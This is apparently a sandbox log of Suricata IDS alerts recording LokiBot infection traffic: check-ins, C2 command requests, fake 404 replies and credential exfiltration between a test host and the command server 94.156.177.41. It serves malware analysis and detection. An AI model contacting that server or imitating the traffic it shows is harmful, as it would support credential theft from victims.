Source: Network traffic	Suricata IDS: 2025483 - Severity 1 - ET MALWARE LokiBot Fake 404 Response : 94.156.177.41:80 -> 192.168.2.22:49253
Source: Network traffic	Suricata IDS: 2024313 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M1 : 192.168.2.22:49212 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2024318 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M2 : 192.168.2.22:49212 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2024318 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M2 : 192.168.2.22:49176 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2025381 - Severity 1 - ET MALWARE LokiBot Checkin : 192.168.2.22:49206 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2825766 - Severity 1 - ETPRO MALWARE LokiBot Checkin M2 : 192.168.2.22:49206 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2024313 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M1 : 192.168.2.22:49186 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2021641 - Severity 1 - ET MALWARE LokiBot User-Agent (Charon/Inferno) : 192.168.2.22:49204 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2024318 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M2 : 192.168.2.22:49186 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2025381 - Severity 1 - ET MALWARE LokiBot Checkin : 192.168.2.22:49204 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2021641 - Severity 1 - ET MALWARE LokiBot User-Agent (Charon/Inferno) : 192.168.2.22:49220 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2024313 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M1 : 192.168.2.22:49224 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2825766 - Severity 1 - ETPRO MALWARE LokiBot Checkin M2 : 192.168.2.22:49165 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2021641 - Severity 1 - ET MALWARE LokiBot User-Agent (Charon/Inferno) : 192.168.2.22:49214 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2021641 - Severity 1 - ET MALWARE LokiBot User-Agent (Charon/Inferno) : 192.168.2.22:49190 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2025381 - Severity 1 - ET MALWARE LokiBot Checkin : 192.168.2.22:49190 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2025381 - Severity 1 - ET MALWARE LokiBot Checkin : 192.168.2.22:49214 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2021641 - Severity 1 - ET MALWARE LokiBot User-Agent (Charon/Inferno) : 192.168.2.22:49185 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2025483 - Severity 1 - ET MALWARE LokiBot Fake 404 Response : 94.156.177.41:80 -> 192.168.2.22:49176
Source: Network traffic	Suricata IDS: 2024313 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M1 : 192.168.2.22:49171 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2025381 - Severity 1 - ET MALWARE LokiBot Checkin : 192.168.2.22:49185 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2825766 - Severity 1 - ETPRO MALWARE LokiBot Checkin M2 : 192.168.2.22:49172 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2024313 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M1 : 192.168.2.22:49170 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2825766 - Severity 1 - ETPRO MALWARE LokiBot Checkin M2 : 192.168.2.22:49185 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2021641 - Severity 1 - ET MALWARE LokiBot User-Agent (Charon/Inferno) : 192.168.2.22:49182 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2021641 - Severity 1 - ET MALWARE LokiBot User-Agent (Charon/Inferno) : 192.168.2.22:49166 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2025381 - Severity 1 - ET MALWARE LokiBot Checkin : 192.168.2.22:49166 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2024313 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M1 : 192.168.2.22:49206 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2825766 - Severity 1 - ETPRO MALWARE LokiBot Checkin M2 : 192.168.2.22:49244 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2021641 - Severity 1 - ET MALWARE LokiBot User-Agent (Charon/Inferno) : 192.168.2.22:49243 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2021641 - Severity 1 - ET MALWARE LokiBot User-Agent (Charon/Inferno) : 192.168.2.22:49238 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2021641 - Severity 1 - ET MALWARE LokiBot User-Agent (Charon/Inferno) : 192.168.2.22:49195 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2825766 - Severity 1 - ETPRO MALWARE LokiBot Checkin M2 : 192.168.2.22:49214 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2025381 - Severity 1 - ET MALWARE LokiBot Checkin : 192.168.2.22:49195 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2825766 - Severity 1 - ETPRO MALWARE LokiBot Checkin M2 : 192.168.2.22:49195 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2021641 - Severity 1 - ET MALWARE LokiBot User-Agent (Charon/Inferno) : 192.168.2.22:49181 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2025483 - Severity 1 - ET MALWARE LokiBot Fake 404 Response : 94.156.177.41:80 -> 192.168.2.22:49186
Source: Network traffic	Suricata IDS: 2021641 - Severity 1 - ET MALWARE LokiBot User-Agent (Charon/Inferno) : 192.168.2.22:49201 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2024318 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M2 : 192.168.2.22:49171 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2025381 - Severity 1 - ET MALWARE LokiBot Checkin : 192.168.2.22:49238 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2024313 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M1 : 192.168.2.22:49195 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2024318 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M2 : 192.168.2.22:49192 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2021641 - Severity 1 - ET MALWARE LokiBot User-Agent (Charon/Inferno) : 192.168.2.22:49256 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2825766 - Severity 1 - ETPRO MALWARE LokiBot Checkin M2 : 192.168.2.22:49238 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2024318 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M2 : 192.168.2.22:49170 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2025381 - Severity 1 - ET MALWARE LokiBot Checkin : 192.168.2.22:49182 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2825766 - Severity 1 - ETPRO MALWARE LokiBot Checkin M2 : 192.168.2.22:49166 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2024318 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M2 : 192.168.2.22:49206 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2021641 - Severity 1 - ET MALWARE LokiBot User-Agent (Charon/Inferno) : 192.168.2.22:49199 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2025483 - Severity 1 - ET MALWARE LokiBot Fake 404 Response : 94.156.177.41:80 -> 192.168.2.22:49212
Source: Network traffic	Suricata IDS: 2024313 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M1 : 192.168.2.22:49244 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2825766 - Severity 1 - ETPRO MALWARE LokiBot Checkin M2 : 192.168.2.22:49182 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2025381 - Severity 1 - ET MALWARE LokiBot Checkin : 192.168.2.22:49199 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2025381 - Severity 1 - ET MALWARE LokiBot Checkin : 192.168.2.22:49243 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2024313 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M1 : 192.168.2.22:49191 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2825766 - Severity 1 - ETPRO MALWARE LokiBot Checkin M2 : 192.168.2.22:49199 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2025381 - Severity 1 - ET MALWARE LokiBot Checkin : 192.168.2.22:49201 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2024313 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M1 : 192.168.2.22:49238 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2025483 - Severity 1 - ET MALWARE LokiBot Fake 404 Response : 94.156.177.41:80 -> 192.168.2.22:49170
Source: Network traffic	Suricata IDS: 2024312 - Severity 1 - ET MALWARE LokiBot Application/Credential Data Exfiltration Detected M1 : 192.168.2.22:49165 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2024318 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M2 : 192.168.2.22:49195 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2024318 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M2 : 192.168.2.22:49238 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2025483 - Severity 1 - ET MALWARE LokiBot Fake 404 Response : 94.156.177.41:80 -> 192.168.2.22:49250
Source: Network traffic	Suricata IDS: 2024313 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M1 : 192.168.2.22:49182 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2025381 - Severity 1 - ET MALWARE LokiBot Checkin : 192.168.2.22:49256 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2024318 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M2 : 192.168.2.22:49182 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2024313 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M1 : 192.168.2.22:49214 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2825766 - Severity 1 - ETPRO MALWARE LokiBot Checkin M2 : 192.168.2.22:49236 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2024318 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M2 : 192.168.2.22:49214 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2025381 - Severity 1 - ET MALWARE LokiBot Checkin : 192.168.2.22:49220 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2025483 - Severity 1 - ET MALWARE LokiBot Fake 404 Response : 94.156.177.41:80 -> 192.168.2.22:49171
Source: Network traffic	Suricata IDS: 2825766 - Severity 1 - ETPRO MALWARE LokiBot Checkin M2 : 192.168.2.22:49220 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2021641 - Severity 1 - ET MALWARE LokiBot User-Agent (Charon/Inferno) : 192.168.2.22:49183 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2024318 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M2 : 192.168.2.22:49244 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2025381 - Severity 1 - ET MALWARE LokiBot Checkin : 192.168.2.22:49183 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2825766 - Severity 1 - ETPRO MALWARE LokiBot Checkin M2 : 192.168.2.22:49183 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2021641 - Severity 1 - ET MALWARE LokiBot User-Agent (Charon/Inferno) : 192.168.2.22:49173 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2021641 - Severity 1 - ET MALWARE LokiBot User-Agent (Charon/Inferno) : 192.168.2.22:49203 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2024312 - Severity 1 - ET MALWARE LokiBot Application/Credential Data Exfiltration Detected M1 : 192.168.2.22:49166 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2021641 - Severity 1 - ET MALWARE LokiBot User-Agent (Charon/Inferno) : 192.168.2.22:49200 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2025381 - Severity 1 - ET MALWARE LokiBot Checkin : 192.168.2.22:49203 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2024313 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M1 : 192.168.2.22:49172 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2825766 - Severity 1 - ETPRO MALWARE LokiBot Checkin M2 : 192.168.2.22:49243 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2825766 - Severity 1 - ETPRO MALWARE LokiBot Checkin M2 : 192.168.2.22:49203 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2024318 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M2 : 192.168.2.22:49172 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2024313 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M1 : 192.168.2.22:49199 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2025483 - Severity 1 - ET MALWARE LokiBot Fake 404 Response : 94.156.177.41:80 -> 192.168.2.22:49195
Source: Network traffic	Suricata IDS: 2024313 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M1 : 192.168.2.22:49183 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2024313 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M1 : 192.168.2.22:49185 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2024318 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M2 : 192.168.2.22:49183 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2024318 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M2 : 192.168.2.22:49185 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2024318 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M2 : 192.168.2.22:49191 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2021641 - Severity 1 - ET MALWARE LokiBot User-Agent (Charon/Inferno) : 192.168.2.22:49271 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2025381 - Severity 1 - ET MALWARE LokiBot Checkin : 192.168.2.22:49271 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2825766 - Severity 1 - ETPRO MALWARE LokiBot Checkin M2 : 192.168.2.22:49271 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2024318 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M2 : 192.168.2.22:49224 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2025483 - Severity 1 - ET MALWARE LokiBot Fake 404 Response : 94.156.177.41:80 -> 192.168.2.22:49182
Source: Network traffic	Suricata IDS: 2024313 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M1 : 192.168.2.22:49271 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2025483 - Severity 1 - ET MALWARE LokiBot Fake 404 Response : 94.156.177.41:80 -> 192.168.2.22:49192
Source: Network traffic	Suricata IDS: 2025381 - Severity 1 - ET MALWARE LokiBot Checkin : 192.168.2.22:49181 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2825766 - Severity 1 - ETPRO MALWARE LokiBot Checkin M2 : 192.168.2.22:49201 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2025483 - Severity 1 - ET MALWARE LokiBot Fake 404 Response : 94.156.177.41:80 -> 192.168.2.22:49191
Source: Network traffic	Suricata IDS: 2025483 - Severity 1 - ET MALWARE LokiBot Fake 404 Response : 94.156.177.41:80 -> 192.168.2.22:49209
Source: Network traffic	Suricata IDS: 2025381 - Severity 1 - ET MALWARE LokiBot Checkin : 192.168.2.22:49200 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2025483 - Severity 1 - ET MALWARE LokiBot Fake 404 Response : 94.156.177.41:80 -> 192.168.2.22:49168
Source: Network traffic	Suricata IDS: 2825766 - Severity 1 - ETPRO MALWARE LokiBot Checkin M2 : 192.168.2.22:49181 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2825766 - Severity 1 - ETPRO MALWARE LokiBot Checkin M2 : 192.168.2.22:49200 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2025483 - Severity 1 - ET MALWARE LokiBot Fake 404 Response : 94.156.177.41:80 -> 192.168.2.22:49172
Source: Network traffic	Suricata IDS: 2024313 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M1 : 192.168.2.22:49220 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2024313 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M1 : 192.168.2.22:49201 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2024318 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M2 : 192.168.2.22:49201 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2024318 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M2 : 192.168.2.22:49199 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2021641 - Severity 1 - ET MALWARE LokiBot User-Agent (Charon/Inferno) : 192.168.2.22:49254 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2825766 - Severity 1 - ETPRO MALWARE LokiBot Checkin M2 : 192.168.2.22:49256 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2025381 - Severity 1 - ET MALWARE LokiBot Checkin : 192.168.2.22:49254 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2825766 - Severity 1 - ETPRO MALWARE LokiBot Checkin M2 : 192.168.2.22:49254 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2024313 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M1 : 192.168.2.22:49243 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2024313 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M1 : 192.168.2.22:49181 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2024318 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M2 : 192.168.2.22:49181 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2024318 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M2 : 192.168.2.22:49271 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2021641 - Severity 1 - ET MALWARE LokiBot User-Agent (Charon/Inferno) : 192.168.2.22:49177 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2025381 - Severity 1 - ET MALWARE LokiBot Checkin : 192.168.2.22:49177 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2825766 - Severity 1 - ETPRO MALWARE LokiBot Checkin M2 : 192.168.2.22:49177 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2025483 - Severity 1 - ET MALWARE LokiBot Fake 404 Response : 94.156.177.41:80 -> 192.168.2.22:49183
Source: Network traffic	Suricata IDS: 2025483 - Severity 1 - ET MALWARE LokiBot Fake 404 Response : 94.156.177.41:80 -> 192.168.2.22:49271
Source: Network traffic	Suricata IDS: 2024313 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M1 : 192.168.2.22:49236 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2024313 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M1 : 192.168.2.22:49256 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2825766 - Severity 1 - ETPRO MALWARE LokiBot Checkin M2 : 192.168.2.22:49204 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2021641 - Severity 1 - ET MALWARE LokiBot User-Agent (Charon/Inferno) : 192.168.2.22:49255 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2025483 - Severity 1 - ET MALWARE LokiBot Fake 404 Response : 94.156.177.41:80 -> 192.168.2.22:49206
Source: Network traffic	Suricata IDS: 2021641 - Severity 1 - ET MALWARE LokiBot User-Agent (Charon/Inferno) : 192.168.2.22:49235 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2024318 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M2 : 192.168.2.22:49256 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2021641 - Severity 1 - ET MALWARE LokiBot User-Agent (Charon/Inferno) : 192.168.2.22:49248 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2024318 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M2 : 192.168.2.22:49220 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2024318 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M2 : 192.168.2.22:49243 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2024313 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M1 : 192.168.2.22:49204 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2025483 - Severity 1 - ET MALWARE LokiBot Fake 404 Response : 94.156.177.41:80 -> 192.168.2.22:49201
Source: Network traffic	Suricata IDS: 2024318 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M2 : 192.168.2.22:49204 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2025381 - Severity 1 - ET MALWARE LokiBot Checkin : 192.168.2.22:49173 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2024313 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M1 : 192.168.2.22:49203 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2021641 - Severity 1 - ET MALWARE LokiBot User-Agent (Charon/Inferno) : 192.168.2.22:49189 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2024313 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M1 : 192.168.2.22:49254 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2024318 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M2 : 192.168.2.22:49236 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2024318 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M2 : 192.168.2.22:49203 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2025483 - Severity 1 - ET MALWARE LokiBot Fake 404 Response : 94.156.177.41:80 -> 192.168.2.22:49204
Source: Network traffic	Suricata IDS: 2024313 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M1 : 192.168.2.22:49177 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2025483 - Severity 1 - ET MALWARE LokiBot Fake 404 Response : 94.156.177.41:80 -> 192.168.2.22:49220
Source: Network traffic	Suricata IDS: 2025381 - Severity 1 - ET MALWARE LokiBot Checkin : 192.168.2.22:49255 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2021641 - Severity 1 - ET MALWARE LokiBot User-Agent (Charon/Inferno) : 192.168.2.22:49273 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2025381 - Severity 1 - ET MALWARE LokiBot Checkin : 192.168.2.22:49248 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2025381 - Severity 1 - ET MALWARE LokiBot Checkin : 192.168.2.22:49235 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2825766 - Severity 1 - ETPRO MALWARE LokiBot Checkin M2 : 192.168.2.22:49255 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2825766 - Severity 1 - ETPRO MALWARE LokiBot Checkin M2 : 192.168.2.22:49235 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2021641 - Severity 1 - ET MALWARE LokiBot User-Agent (Charon/Inferno) : 192.168.2.22:49237 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2025483 - Severity 1 - ET MALWARE LokiBot Fake 404 Response : 94.156.177.41:80 -> 192.168.2.22:49199
Source: Network traffic	Suricata IDS: 2025381 - Severity 1 - ET MALWARE LokiBot Checkin : 192.168.2.22:49237 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2025483 - Severity 1 - ET MALWARE LokiBot Fake 404 Response : 94.156.177.41:80 -> 192.168.2.22:49236
Source: Network traffic	Suricata IDS: 2025483 - Severity 1 - ET MALWARE LokiBot Fake 404 Response : 94.156.177.41:80 -> 192.168.2.22:49181
Source: Network traffic	Suricata IDS: 2024313 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M1 : 192.168.2.22:49235 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2021641 - Severity 1 - ET MALWARE LokiBot User-Agent (Charon/Inferno) : 192.168.2.22:49213 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2025381 - Severity 1 - ET MALWARE LokiBot Checkin : 192.168.2.22:49189 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2025381 - Severity 1 - ET MALWARE LokiBot Checkin : 192.168.2.22:49213 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2024313 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M1 : 192.168.2.22:49255 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2024318 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M2 : 192.168.2.22:49177 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2825766 - Severity 1 - ETPRO MALWARE LokiBot Checkin M2 : 192.168.2.22:49189 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2825766 - Severity 1 - ETPRO MALWARE LokiBot Checkin M2 : 192.168.2.22:49190 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2825766 - Severity 1 - ETPRO MALWARE LokiBot Checkin M2 : 192.168.2.22:49248 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2025483 - Severity 1 - ET MALWARE LokiBot Fake 404 Response : 94.156.177.41:80 -> 192.168.2.22:49243
Source: Network traffic	Suricata IDS: 2025483 - Severity 1 - ET MALWARE LokiBot Fake 404 Response : 94.156.177.41:80 -> 192.168.2.22:49224
Source: Network traffic	Suricata IDS: 2825766 - Severity 1 - ETPRO MALWARE LokiBot Checkin M2 : 192.168.2.22:49237 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2024313 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M1 : 192.168.2.22:49189 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2025483 - Severity 1 - ET MALWARE LokiBot Fake 404 Response : 94.156.177.41:80 -> 192.168.2.22:49256
Source: Network traffic	Suricata IDS: 2025483 - Severity 1 - ET MALWARE LokiBot Fake 404 Response : 94.156.177.41:80 -> 192.168.2.22:49244
Source: Network traffic	Suricata IDS: 2825766 - Severity 1 - ETPRO MALWARE LokiBot Checkin M2 : 192.168.2.22:49213 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2024318 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M2 : 192.168.2.22:49235 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2021641 - Severity 1 - ET MALWARE LokiBot User-Agent (Charon/Inferno) : 192.168.2.22:49231 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2021641 - Severity 1 - ET MALWARE LokiBot User-Agent (Charon/Inferno) : 192.168.2.22:49175 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2024313 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M1 : 192.168.2.22:49213 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2021641 - Severity 1 - ET MALWARE LokiBot User-Agent (Charon/Inferno) : 192.168.2.22:49252 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2024318 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M2 : 192.168.2.22:49213 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2025381 - Severity 1 - ET MALWARE LokiBot Checkin : 192.168.2.22:49273 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2025381 - Severity 1 - ET MALWARE LokiBot Checkin : 192.168.2.22:49252 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2025381 - Severity 1 - ET MALWARE LokiBot Checkin : 192.168.2.22:49175 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2825766 - Severity 1 - ETPRO MALWARE LokiBot Checkin M2 : 192.168.2.22:49252 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2825766 - Severity 1 - ETPRO MALWARE LokiBot Checkin M2 : 192.168.2.22:49173 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2024313 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M1 : 192.168.2.22:49200 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2025483 - Severity 1 - ET MALWARE LokiBot Fake 404 Response : 94.156.177.41:80 -> 192.168.2.22:49185
Source: Network traffic	Suricata IDS: 2024318 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M2 : 192.168.2.22:49200 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2024313 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M1 : 192.168.2.22:49237 -> 94.156.177.41:80
